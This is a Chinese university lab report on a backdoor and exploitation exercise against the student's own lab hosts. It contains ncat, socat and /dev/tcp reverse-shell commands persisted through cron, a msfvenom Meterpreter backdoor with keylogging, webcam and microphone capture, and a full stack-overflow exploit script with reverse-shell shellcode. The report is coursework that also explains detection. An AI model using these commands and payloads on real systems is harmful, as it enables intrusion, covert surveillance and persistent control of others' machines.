20242419 2026-2027-1 《网络与系统攻防技术》实验2实验报告
20242419 2026-2027-1 《网络与系统攻防技术》实验2实验报告
- 姓名:陈贻富
- 学号:20242419
1.基础知识
1.1 后门与反弹 Shell
后门(Backdoor)是指绕过正常认证与授权、为攻击者保留一条再次进入目标系统通道的程序或配置。后门要解决两个问题:一是"怎么进来并执行",二是"下次怎么自动起来"。本实验分别对应 Shell 获取与自启动两个环节。
按连接方向不同,Shell 分为正向连接与反向连接。正向连接是攻击者主动连接目标机监听的端口;反向连接(反弹 Shell,reverse shell)是目标机主动连回攻击机。实际环境中目标机往往位于 NAT 之后或只允许出站流量,攻击机无法直接连入,但目标机可以主动向外发起连接,因此反弹 Shell 成功率更高,也更隐蔽——流量看上去只是一条普通的出站连接。
1.2 netcat / ncat 与 socat
netcat(nc)被称为"网络瑞士军刀",可以在 TCP/UDP 上读写数据。ncat 是 Nmap 项目对 netcat 的重写版本,支持 -e 参数在建立连接后把标准输入输出交给指定程序执行,因此一条命令就能得到 Shell:
ncat <攻击机IP> <端口> -e /bin/bash
socat 同样是双向数据流中继工具,但功能更强:可以把任意两个"地址"对接起来,并且能正确分配伪终端(pty),所以拿到的 Shell 具备正常的命令回显、行编辑与历史记录,交互体验明显优于 nc(nc 默认没有 tty,方向键与 Ctrl+C 行为异常):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:<端口>
监听端则用 TCP-LISTEN 配合 FILE:\tty`,raw,echo=0` 把本地终端直接接到套接字上。
1.3 后门的自启动机制
后门要长期存活,必须挂到系统的自启动项上。
Linux 的 cron 是一个守护进程(crond),按分钟粒度周期性地执行计划任务。用户的计划任务由 crontab -e 编辑,每行一条,前五个字段分别是分、时、日、月、周,第六个字段是要执行的命令。本实验把反弹脚本写进 crontab,五个时间字段全用 *,即每分钟执行一次,相当于每分钟"敲门"一次,攻击机只要在监听,就能在某个分钟点上拿到 Shell。
Windows 的对应机制是"任务计划程序"(Task Scheduler),可以按触发器(登录时、开机时、定时)执行程序,也可以用 schtasks 命令创建。除计划任务外,Windows 常见的自启动位置还有注册表 Run/RunOnce 键、启动文件夹(shell:startup)、系统服务、WMI 事件订阅等。
1.4 Meterpreter 与 msfvenom
Meterpreter 是 Metasploit 框架中的高级载荷,它以一个被注入到目标进程内存中的 DLL 形式运行,不往磁盘写文件,因此"无文件"特征明显、不易被查杀。它通过加密通道与攻击机通信,并内置大量后渗透模块:文件操作、进程迁移、键盘记录、截屏、摄像头、录音、提权、持久化等。
msfvenom 是生成载荷的工具,-p 指定载荷(如 windows/x64/meterpreter/reverse_tcp),LHOST/LPORT 指定回连地址与端口,-f 指定输出格式(exe、python、c 等),-b 用于剔除指定坏字符,-o 指定输出文件。攻击机一侧则需要对应的 handler(exploit/multi/handler)来接收会话。
1.5 栈溢出与 ret2shellcode
32 位程序的函数返回地址保存在栈上,如果程序对用户输入不检查长度,超长输入就会覆盖栈上的返回地址(EIP)。从输入起点到 EIP 之间的字节数称为偏移量(offset),payload 的一般结构为:
填充字节(offset) + 新的返回地址 + 后续数据
ret2shellcode 的思路是:把 shellcode 放在栈上,再让返回地址指向栈上 shellcode 的位置,使程序 ret 之后直接跳过去执行。前提条件是栈可执行(NX/DEP 关闭)。由于函数返回时 ESP 正好指向 EIP 之后的那个地址,因此常用做法是让 EIP = jmp esp,程序会跳到 ESP 所在处,也就是 shellcode 的开头;如果程序里找不到 jmp esp 指令,也可以直接让 EIP 等于栈上 shellcode 的绝对地址(前提是关闭 ASLR,使栈地址稳定)。
常见保护机制:Stack Canary(栈上插入校验值,溢出会破坏它而被发现)、NX/DEP(栈不可执行)、ASLR(地址随机化)、PIE(程序基址随机化)、RELRO(GOT 表保护)。它们决定了漏洞能不能用、该用哪种利用手法。
1.6 免杀技术
免杀(AV Evasion)就是让恶意载荷不被杀毒软件的特征库与启发式引擎识别。常见思路有:修改特征码(编码器 encoder、加密壳)、加壳压缩(UPX)、把载荷拆分并加密存放、运行时内存解密加载(如 shellcode 加载器)、白利用(Living off the Land,借用系统自带程序执行)、以及流量层加密混淆。本实验用 msfvenom 直接生成的原始 exe 属于"无任何免杀处理"的对照样本,其 PE 结构与特征码固定,很容易被查杀,这也是后面对比分析的基础。
2.实验内容
2.1 实验目标
- 使用 netcat 获取主机操作 Shell,并用 cron 启动某项任务。
- 使用 socat 获取主机操作 Shell,并用任务计划启动。
- 使用 MSF meterpreter(或其他软件)生成可执行文件(后门),利用 ncat 或 socat 传送到主机并运行,获取主机 Shell。
- 使用 MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
- 使用 MSF 生成 shellcode,注入到实验一中的 pwn1 中,获取反弹连接 Shell。
2.2 实验要求
- 掌握后门原理及免杀技术。
- 回答实验问题(共 4 题,见 3.8 节)。
2.3 总体方案
本实验围绕"后门如何进来、如何留下、如何偷东西"这一条主线展开,共分五个任务,层层递进:
- 任务一、任务二解决"通道"问题:分别用 ncat 与 socat 建立反弹 Shell,再分别挂到 Linux 的 cron 计划任务上,验证后门可以脱离人工操作自动运行。这两步在 Kali 本机以回环地址完成,机制与跨机完全一致,同时避免影响其他主机。
- 任务三解决"投递"问题:用 msfvenom 生成 Windows 可执行后门,用 socat 传送到宿主机 Windows 靶机并运行,取得 Meterpreter 会话。
- 任务四解决"利用"问题:在已有会话上验证键盘记录、屏幕截图、摄像头、录音等信息窃取能力,并尝试提权。
- 任务五回到实验一的靶程序 pwn1:用 MSF 生成 32 位反弹 shellcode,通过栈溢出把返回地址指向栈上的 shellcode,最终取得反弹 Shell。
技术路线为"ncat/socat 手写后门 → MSF 工具化后门 → 漏洞利用注入 shellcode",前者帮助理解原理,后者体现自动化与免杀的现实威力。
3.实验过程
3.1 实验环境
| 角色 | 主机名 | 操作系统 | 用户名 | IP 地址 |
|---|---|---|---|---|
| 攻击机 | chenyifu | Kali Linux Rolling(VMware 虚拟机 kali-linux-2026.2) | kali | 192.168.253.129 |
| 靶机(宿主机) | DESKTOP-GAR5KSN | Windows 11 24H2(Build 26200)x64 | if | 192.168.253.1 |
两台主机处于 VMware 虚拟网卡同一网段(192.168.253.0/24),先双向 ping 验证连通性。


3.2 任务一:ncat 获取 Shell + cron 启动任务
3.2.1 安装并确认 ncat
Kali 自带的 netcat 版本不支持 -e 参数,改用 ncat:
sudo apt update
sudo apt install -y ncat
which ncat

3.2.2 编写反弹脚本
脚本文件名带上学号,内容为一条 ncat 反弹命令:
#!/bin/bash
/usr/bin/ncat 127.0.0.1 4444 -e /bin/bash

此处先单独执行了一次脚本来测试,因为监听端还没打开,所以出现 Ncat: Connection refused.,属于预期现象。
3.2.3 手动验证一次
打开两个终端:终端 A 监听 4444 端口,终端 B 执行反弹脚本。
nc -lvnp 4444 # 终端 A:监听
/home/kali/20242419_nc_rev.sh # 终端 B:执行脚本

监听端立刻得到 Shell,执行 whoami、hostname、id 验证身份:

3.2.4 写入 cron 定时任务
第一次执行 crontab -e 时需要选择编辑器,选 nano,然后在文件末尾追加两行:一行执行反弹脚本,一行把当前时间追加到测试文件,用来证明 cron 确实在跑。
* * * * * /home/kali/20242419_nc_rev.sh
* * * * * date >> /tmp/20242419_cron_test.txt

保存退出(Ctrl+O → 回车 → Ctrl+X)后用 crontab -l 确认写入成功:

3.2.5 等待 cron 自动触发并验证
此时不再手动执行脚本,只保持监听,cron 每分钟触发一次,最长等待 60 秒。同时在第三个终端查看测试文件,确认 cron 确实执行了:
cat /tmp/20242419_cron_test.txt

监听端在没有任何人工干预的情况下自动弹出 Shell,再次执行 whoami、hostname、id 验证:

说明:上图测试文件当时只有一行时间记录,是因为查看时 cron 才刚触发过一次;持续等待后该文件会每分钟追加一行。
3.2.6 关于早期尝试的 /dev/tcp 方案
正式采用 ncat 之前,曾尝试过用 bash 自带的 /dev/tcp 伪设备做反弹,写进 crontab 的命令为:
* * * * * /bin/bash -i >& /dev/tcp/192.168.253.129/8888 0>&1
该方式依赖 bash 编译时开启 net redirections,兼容性不如 ncat,且不带 tty,故最终改用本文的 ncat 方案。该尝试的截图保留如下,作为方案选型的说明。

3.3 任务二:socat 获取 Shell + 任务计划启动
整体流程与任务一相同,只是把 ncat 换成 socat。区别在于 socat 会把伪终端(pty)正确交给远端,得到的 Shell 是可正常交互的终端。
3.3.1 编写 socat 反弹脚本并启动监听
#!/bin/bash
/usr/bin/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4445
监听端使用下面的命令,把本地 raw 终端接到套接字上:
socat -d -d TCP-LISTEN:4445,reuseaddr FILE:`tty`,raw,echo=0

3.3.2 手动测试
在另一个终端执行反弹脚本,监听端随即变成交互式 Shell:

验证方法与任务一一致。手动测试通过后按 Ctrl+C 结束。
3.3.3 加入 cron 任务计划
crontab -e
# 追加一行
* * * * * /home/kali/20242419_socat_rev.sh
此时 crontab 中一共三条任务:两条是任务一的,一条是任务二的。

3.3.4 等待任务计划自动触发
重新启动监听端,不做任何手动操作,等待一分钟:
socat -d -d TCP-LISTEN:4445,reuseaddr FILE:`tty`,raw,echo=0

3.4 任务三:MSF meterpreter 后门生成与投递
3.4.1 生成 Windows 后门文件
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.253.129 LPORT=4446 \
-f exe -o /home/kali/20242419_win_backdoor.exe
ls -l /home/kali/20242419_win_backdoor.exe
file /home/kali/20242419_win_backdoor.exe

file 命令确认输出为 PE32+ executable (GUI) x86-64,即以图形界面方式运行、点击后不弹窗的 Windows 可执行文件,大小 7680 字节。
3.4.2 启动 handler 等待回连
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.253.129
set LPORT 4446
run -j

3.4.3 用 socat 传送后门
靶机上启动 socat 监听,接收后门文件:
cd $env:USERPROFILE\Desktop
.\socat\socat.exe TCP-LISTEN:5555,reuseaddr CREATE:20242419_win_backdoor.exe
攻击机 Kali 用 socat 发送后门:
socat - TCP:192.168.253.1:5555 < /home/kali/20242419_win_backdoor.exe

传输完成后,靶机上查看文件:
ls -l .\20242419_win_backdoor.exe
文件大小为 7680 字节,与攻击机一致,socat 传送成功。

3.4.4 靶机运行后门
.\20242419_win_backdoor.exe

3.4.5 会话建立
运行几秒后,Kali 的 msfconsole 自动收到会话:

sessions -l
sessions -i 1
会话信息显示回连来自 192.168.253.1:1160,会话号为 1。
3.4.6 查看目标主机信息
sysinfo
getuid
pwd
ls


sysinfo 回显计算机名 DESKTOP-GAR5KSN、系统 Windows 11 24H2(10.0 Build 26200)、架构 x64;getuid 显示当前权限为
DESKTOP-GAR5KSN\if,属于普通用户,这一权限级别决定了后面提权环节的必要性。
3.5 任务四:信息窃取与提权尝试
3.5.1 键盘记录
keyscan_start
# 在靶机上随意敲几个键,等待 10~20 秒
keyscan_dump
keyscan_stop

3.5.2 屏幕截图
screenshot

文件保存在 Kali 的 /home/kali/AecuzOAG.jpeg,用图片查看器打开确认画面内容:

3.5.3 摄像头
webcam_list
webcam_snap -i 1 -v false

此处 webcam_list 未单独留图,直接以 webcam_snap 的成像结果作为证据,画面中为靶机(宿主机)的摄像头实时画面。
3.5.4 麦克风录音
record_mic -d 10

录音文件保存在 /home/kali/NJlStuaQ.wav,用 aplay 播放确认:
aplay /home/kali/NJlStuaQ.wav

3.5.5 提权尝试
getuid
getsystem

getsystem 返回
Send timed out,提权未成功。原因是当前会话进程为普通用户权限,getsystem 依赖的命名管道模拟与令牌窃取条件不满足。
3.5.6 本地提权漏洞扫描
提权失败后不硬试,改用 MSF 的本地漏洞扫描模块枚举可行路径。先把会话放回后台,再加载模块:
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run


扫描结果分为两类:
- 提权类:
exploit/windows/local/bits_ntlm_token_impersonation(提示目标系统 vulnerable)、ms16_032_secondary_logon_handle_privesc、ms16_075_reflection。 - 持久化类:
persistence/service、persistence/registry、persistence/startup_folder、persistence/registry_active_setup等。
受实验时间与靶机环境影响,本次未继续执行具体的提权 exploit,仅完成"枚举可行提权路径"这一步。
3.6 任务五:MSF shellcode 注入 pwn1 获取反弹 Shell
本任务把实验一中缓冲区溢出的靶程序 pwn1 作为注入目标,用 MSF 生成一段反弹连接的 shellcode,通过栈溢出让程序执行它。
3.6.1 定位并准备 pwn1
find /home/kali -name "pwn1" 2>/dev/null
mkdir -p /home/kali/pwn
cp /home/kali/.cache/vmware/drag_and_drop/Xzc1zB/pwn1 /home/kali/pwn/pwn1
cd /home/kali/pwn
chmod +x ./pwn1
file ./pwn1

file 输出为 ELF 32-bit LSB executable, Intel i386,是标准的 32 位程序,大小 7418 字节。
3.6.2 检查保护机制
checksec --file=./pwn1

检查结果:RELRO 为 Partial RELRO、No canary found、NX disabled、No PIE (0x8048000)。没有栈保护、栈可执行、程序基址固定,说明栈溢出利用方案可行。
后续再次尝试
checksec ./pwn1时出现Error: No option selected,新版 checksec 不再接受这种省略选项的写法,改用 pwntools 的ELF().checksec()查看,两者结论一致。

python3 -c "from pwn import *; print(ELF('./pwn1').checksec())"

3.6.3 生成 32 位 shellcode
pwn1 是 32 位程序,因此载荷必须选 linux/x86 系列,并排除空字节与换行回车等坏字符:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=127.0.0.1 LPORT=4447 \
-b '\x00\x0a\x0d' -f python -v shellcode \
-o /home/kali/20242419_shellcode.py
cat /home/kali/20242419_shellcode.py

3.6.4 关闭 ASLR
栈上 shellcode 的地址必须在每次运行时保持不变,因此实验期间先关闭系统的地址随机化:
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space

3.6.5 确定溢出偏移量
偏移量是 payload 结构的基础,实验中用了三种方法交叉验证。
方法一:用 cyclic pattern 触发崩溃,再根据崩溃地址反查偏移。
cd /home/kali/pwn
python3 -c "from pwn import *; print(cyclic(200).decode())" > /tmp/pat.txt
cat /tmp/pat.txt

gdb ./pwn1
(gdb) run < /tmp/pat.txt

python3 -c "from pwn import *; print(cyclic_find(0x61616169))"
# 输出 32

方法二:用 200 个 A 作为输入复核。
python3 -c "print('A'*200)" > /tmp/a.txt
gdb ./pwn1
(gdb) run < /tmp/a.txt


EIP 被 4 个 A(0x41414141)覆盖,确认返回地址确实被输入控制。接着查看崩溃时的 ESP 与栈内容:
(gdb) info registers esp
(gdb) x/40x $esp-0x100
(gdb) find $esp-0x400, $esp, 0x41414141


缓冲区起始地址为 0xffffcf2c,崩溃时 ESP 为 0xffffcf50。0xffffcf50 - 0xffffcf2c = 0x24,即 36 字节 = 32 字节填充 + 4 字节返回地址,与偏移量 32 完全吻合,说明返回地址之后的 ESP 正是 shellcode 应当摆放的位置。
方法三:用 pattern 再跑一遍复核。

python3 -c "
from pwn import *
print(cyclic_find(b'iaaa'))
"
# 输出 32

最后用 32 个 A 加 4 个 B 精确定标:若偏移量确为 32,则崩溃地址应恰好是 0x42424242(即 BBBB)。
gdb ./pwn1
(gdb) run <<< $(python3 -c 'print("A"*32 + "B"*4)')
(gdb) info registers esp


过程中曾被
pattern offset $eip的输出 44 误导过,但用全 A 与 32A+4B 两种方式复算,结果都稳定指向 32,故最终采用偏移量 32。
3.6.6 查找 jmp esp 与替代方案
常规做法是让 EIP 指向 jmp esp 指令,使程序跳到 ESP 处执行栈上 shellcode。先用 ROPgadget 搜索:
ROPgadget --binary ./pwn1 | grep "jmp esp"
# 无输出
ROPgadget --binary ./pwn1 --opcode ffe4
# 无输出

pwn1 中没有 jmp esp(及其等价指令 call esp)可用,因此改用直接跳转的方案:把返回地址直接写成崩溃时 ESP 的值 0xffffcf50。由于此时 ASLR 已关闭,栈地址稳定,且 checksec 显示栈可执行,该方案同样可行。
3.6.7 构造 payload
payload 结构为:32 字节填充 + 返回地址 0xffffcf50 + NOP 雪橇 + shellcode。NOP 雪橇用于吸收跳转时的微小地址偏差,提高命中率。在 /home/kali/pwn 目录下创建脚本 gen_payload.py:
import sys
from pwn import *
offset = 32
ret_addr = 0xffffcf50
shellcode = b""
shellcode += b"\xba\x33\x8c\x81\xa6\xdd\xc3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x33\xc9\xb1\x12\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\x65\x82\x63\x53\xb8\x41\x94\x7f\xe9\x36"
shellcode += b"\x08\xea\x0f\x30\x4f\x5a\x69\x8f\x10\x08\x2c"
shellcode += b"\xbf\x2e\xe2\x4e\xf6\x29\x05\x26\x76\xca\xf5"
shellcode += b"\xb7\xe0\xc8\xf5\xa6\xaf\x45\x14\x78\x29\x06"
shellcode += b"\x86\x2b\x05\xa5\xa1\x2a\xa4\x2a\xe3\xc4\x59"
shellcode += b"\x04\x77\x7c\xce\x75\x58\x1e\x67\x03\x45\x8c"
shellcode += b"\x24\x9a\x6b\x80\xc0\x51\xeb"
payload = b'A'*offset + p32(ret_addr) + b'\x90'*200 + shellcode
# 只输出原始二进制 payload,不启动进程
sys.stdout.buffer.write(payload)
其中 shellcode 部分取自 3.6.3 中 msfvenom 生成的 linux/x86/shell_reverse_tcp(回连 127.0.0.1:4447)。
3.6.8 执行利用
先在一个终端监听回连端口,再用 gdb 把 payload 作为程序输入送入:
nc -lvnp 4447 # 终端 1:监听反弹 Shell
gdb ./pwn1 # 终端 2
(gdb) run < <(python3 gen_payload.py)

3.6.9 接收反弹 Shell
程序成功被劫持并执行 shellcode,向监听端发起连接,反弹 Shell 到手:


在反弹 Shell 中执行 id、pwd、ls 均正常回显:当前用户为 kali(uid=1000),工作目录为 /home/kali/pwn,目录下可见 pwn1、exp.py、gen_payload.py 以及溢出产生的 core 转储文件,说明已完整拿到目标程序的交互式 Shell。
3.7 实验结果
| 任务 | 目标 | 结果 |
|---|---|---|
| 任务一 | netcat 获取 Shell + cron 启动 | 成功 |
| 任务二 | socat 获取 Shell + 任务计划启动 | 成功 |
| 任务三 | MSF 后门生成、投递、获取 Shell | 成功 |
| 任务四 | 键盘记录 / 截屏 / 摄像头 / 录音 / 提权 | 信息窃取均成功;提权未成功 |
| 任务五 | shellcode 注入 pwn1 获取反弹 Shell | 成功 |
五个任务中,除任务四的 getsystem 提权未成功外,其余目标全部达成。提权失败后通过 local_exploit_suggester 已枚举出可行路径(图 31),说明漏洞本身存在,只是未在本次实验中继续执行利用。
3.8 实验问题回答
(1)列举你能想到的一个后门进入到你系统中的可能方式?
从"诱骗用户自己运行"和"利用漏洞自动植入"两条主线考虑,常见方式有:
- 钓鱼邮件或即时通信附件:伪装成简历、成绩单、通知的 EXE、LNK、CHM 文件,或在 Office 文档中使用宏与漏洞。
- 恶意网站在线投毒:诱导下载所谓的播放器、插件、补丁,实为后门。
- 捆绑在破解软件、绿色版工具、游戏外挂、盗版镜像中,安装时静默释放。
- 供应链投毒:篡改软件安装包、官方更新通道,或向开源依赖库(npm、PyPI 等)注入恶意代码。
- 利用漏洞自动植入:Web 应用的命令执行/文件上传漏洞、永恒之蓝一类远程溢出漏洞,无需用户交互即可落地。
- 弱口令与未授权访问:通过爆破 RDP/SSH/数据库口令后手工植入。
- 移动存储与物理接触:带 BadUSB 的 U 盘、维修或借用时被插入。
结合本次实验,最贴近现实的一种是:攻击者把 exe 后门换成一个有正常图标和签名的"工具"发给用户,用户双击后没有任何界面变化(我们的后门编译为 GUI 子系统,运行时不弹窗),但 Meterpreter 会话已经在后台建立——这正是本实验任务三复现的场景。
(2)列举你知道的后门如何启动起来(win 及 linux)的方式?
Linux 侧:
- cron 计划任务:
crontab -e、/etc/crontab、/etc/cron.d/、/var/spool/cron/crontabs/。 - systemd 服务或定时器:
/etc/systemd/system/*.service配合systemctl enable。 /etc/rc.local、/etc/init.d/下的启动脚本。- Shell 配置文件:
~/.bashrc、~/.bash_profile、/etc/profile.d/*.sh,用户一登录就执行。 - SSH 后门:向
~/.ssh/authorized_keys写入攻击者公钥;或替换 sshd 留万能口令。 - 动态链接库劫持:
/etc/ld.so.preload、LD_PRELOAD环境变量。 - at 定时任务、内核模块(LKM)与 rootkit。
Windows 侧:
- 注册表 Run/RunOnce 键(
HKCU\Software\Microsoft\Windows\CurrentVersion\Run)。 - 启动文件夹:
shell:startup与shell:common startup。 - 任务计划程序(Task Scheduler / schtasks),本实验任务二要求的就是这一类机制。
- 系统服务:
sc create创建服务,或把恶意 DLL 挂进 svchost。 - WMI 事件订阅(永久事件消费者),触发条件隐蔽。
- 映像劫持(IFEO)、AppInit_DLLs、COM 组件劫持、组策略登录脚本。
本次实验中,Kali 侧用的是 crontab(Linux 计划任务),Windows 侧对应的是"任务计划程序",两者的共同点是把后门挂在系统既有的自动执行机制上,让攻击者无需再手动运行。
(3)Meterpreter 有哪些给你印象深刻的功能?
- 全内存运行、不落盘:Meterpreter 是被注入进程内存的 DLL,目标磁盘上除了最初的 exe 之外没有额外文件,传统基于文件特征扫描的查杀方式效果有限。
- 进程迁移(migrate):可以把自己迁移到 explorer.exe 等稳定进程中,即使原来的后门进程被结束,会话依然保持。
- 一条命令完成信息收集:sysinfo 直接给出计算机名、系统版本(Windows 11 24H2 Build 26200)、架构、域信息,省去大量手工命令。
- 偷窥能力直观:keyscan 键盘记录、screenshot 截屏、webcam_snap 摄像头、record_mic 录音,本次实验中键盘记录拿到了真实输入内容,录音文件也能正常播放。
- 提权与内网渗透:getsystem 自动尝试令牌窃取;提权失败后用 local_exploit_suggester 一次性列出 bits_ntlm_token_impersonation、ms16_032、ms16_075 等可行漏洞,就像自动做了一次提权体检。
- 持久化与横向:persistence 系列模块和 portfwd、autoroute,能把一次简单的会话扩展成对整个内网的持续控制。
印象最深的是 local_exploit_suggester——它把"找提权点"这件原本需要大量手工排查的工作,变成了一条命令和一张清单。
(4)如何发现自己系统有没有被安装后门?
单一手段很容易漏,需要从网络、进程、自启动、文件、日志几个角度交叉验证。
- 网络侧:用 netstat/ss 或资源监视器查看异常外连与监听端口。本次实验的痕迹就是 4444、4445、4446、4447 这几个固定端口的心跳式连接,以及长时间保持的 ESTABLISHED 会话;同时留意从内网主动发往外网的可疑地址。
- 进程侧:检查临时目录(Temp、AppData、ProgramData)下运行的进程、无数字签名的进程,以及父子关系异常的进程(例如 winword.exe 启动了 powershell.exe)。
- 自启动项:Windows 用 Autoruns、任务计划程序、服务列表逐项核对;Linux 用
crontab -l、/etc/cron*、systemctl list-unit-files、~/.bashrc、authorized_keys、/etc/ld.so.preload。本实验的两条 cron 任务在crontab -l中一眼可见。 - 文件与完整性:对系统关键目录做哈希比对(SFC/DISM、
rpm -Va、debsums),关注近期被修改或带隐藏属性的可执行文件。 - 日志与审计:Windows 安全日志中的 4698(创建计划任务)、4688(进程创建)、Sysmon 事件;Linux 的 auth.log、cron 日志与 auditd 记录。
- 常态化手段:开启 Defender/EDR 实时防护并定期全盘扫描、关闭不必要的对外端口、定期审计开机启动项与监听端口。
一句话总结:后门往往"藏在一个不起眼的自启动项里,靠一条规律的外连活着",所以查后门的重点是把自启动项和异常外连这两张网同时铺开。
4.问题及解决方案
- 问题1:Kali 自带的 netcat 不支持
-e参数,无法直接执行命令,反弹脚本写不出来。 - 问题1解决方案:改用 Nmap 项目的 ncat(
sudo apt install -y ncat),-e参数可用。 - 问题2:脚本单独运行时报
Ncat: Connection refused.。 - 问题2解决方案:原因是监听端尚未启动,回连自然被拒。先启动
nc -lvnp 4444再执行脚本即可,该报错本身属于预期现象。 - 问题3:写入 cron 后,查看
/tmp/20242419_cron_test.txt只有一行时间记录,怀疑 cron 没生效。 - 问题3解决方案:查看时 cron 才刚触发过一次,继续等待即可,之后每分钟追加一行即为正常;同时以监听端自动弹出 Shell 作为 cron 生效的最终证据。
- 问题4:socat 反弹回来的 Shell 交互异常,方向键和 Ctrl+C 都不正常。
- 问题4解决方案:一开始漏了 pty 相关参数,补上
exec:'bash -li',pty,stderr,setsid,sigint,sane与监听端的FILE:\tty`,raw,echo=0` 后,拿到的是可正常交互的终端。 - 问题5:
getsystem提权失败,返回Send timed out。 - 问题5解决方案:当前会话为普通用户权限,令牌窃取与命名管道模拟的条件不满足。改换思路,用
post/multi/recon/local_exploit_suggester枚举可行提权路径,得到 bits_ntlm_token_impersonation 等一串结果,说明漏洞存在,只是需要针对具体漏洞编写利用。 - 问题6:偏移量先后算出 44 和 32 两个结果,按 44 构造的 payload 怎么都跑不通。
- 问题6解决方案:
pattern offset $eip的输出 44 不可靠。改用cyclic_find(0x61616169)、全 A 输入以及 32A+4B 精确定位三种方式交叉验证,并用「ESP − 缓冲区起始地址 = 0x24 = 36 字节」做算术校验,确认偏移量为 32,此后 payload 一次成功。 - 问题7:按常规套路用 ROPgadget 找
jmp esp,汇编和机器码ff e4两种搜法都没有结果,利用链一度卡住。 - 问题7解决方案:回到原理重新审视限制条件——此时 NX 已关闭(栈可执行)、ASLR 已关闭(栈地址稳定固定为 0xffffcf50),因此不必非得找到 jmp esp,直接把返回地址写成栈上 shellcode 的绝对地址即可。
- 问题8:栈地址每次运行都不一样,payload 里的返回地址对不上。
- 问题8解决方案:这是 ASLR 造成的地址随机化,实验期间执行
sudo sysctl -w kernel.randomize_va_space=0关闭,之后栈地址稳定在 0xffffcf50。 - 问题9:
checksec ./pwn1报Error: No option selected.。 - 问题9解决方案:新版 checksec 不再接受省略选项的写法,改用
checksec --file=./pwn1,或直接用 pwntools 的ELF('./pwn1').checksec(),两者结论一致。 - 问题10:payload 跳转后执行不稳定,时好时坏。
- 问题10解决方案:在返回地址与 shellcode 之间加入 200 字节的 NOP 雪橇(0x90),吸收跳转时的微小地址偏差,命中率明显提高。
5.学习感悟、思考等
这次实验从"拿一个 Shell"一路做到"持续控制 + 信息窃取",让我对后门的完整生命周期有了比较具体的认识。之前以为后门就是一段反弹 shell 代码,做完才发现真正关键的是后半段——怎么让它在系统里活下来。cron 那两行配置看起来平平无奇,但它把"需要人在合适的时机点一下"变成了"只要机器开着,就每分钟替我敲一次门",这种自动化正是后门难被发现的原因。
过程里踩的坑比想象中多。第一次跑 nc 脚本直接报 Connection refused,后来才反应过来是监听端没开;socat 的 pty 参数一开始漏了,拿到的 shell 连方向键都用不了,补上 pty、raw、echo=0 之后交互才正常。这些细节书本上就是一行参数,不动手很难有体会。
任务五是最费时间的。偏移量我先后算出了 44 和 32 两个答案,一开始按 44 写 payload 怎么都跑不通,后来换成全 A 输入、再用 32A+4B 精确定位,才确认是 32。接着按常规套路找 jmp esp,ROPgadget 按汇编和按机器码 ff e4 都搜不到,当时一度以为这条路走不通,后来想明白:栈上 shellcode 的地址本来就是已知的(0xffffcf50),既然 NX 关闭、ASLR 也关了,完全可以直接把返回地址写成这个绝对地址,不必非要在程序里找到 jmp esp。这件事让我意识到,绕过"没有 gadget"的僵局,靠的不是多试几条命令,而是回到原理上重新看一遍限制条件。
另外,提权那一步失败也让我印象很深。getsystem 超时后我本来打算再试几次,后来用 local_exploit_suggester 一扫,才发现系统上可利用的提权点其实不少,只是需要针对具体的漏洞去写利用。这提醒我,渗透里"枚举"往往比"硬猜"重要。
从防御角度回看,这次实验给我的冲击更大:一条 sysinfo 就把系统版本、架构、用户名全都交出去了,一次按键记录就把我随手敲的内容原样存了下来。而所有这一切的入口,不过是双击了一个看起来人畜无害的 exe。以后再看到来路不明的可执行文件,我大概会多想三秒。

浙公网安备 33010602011771号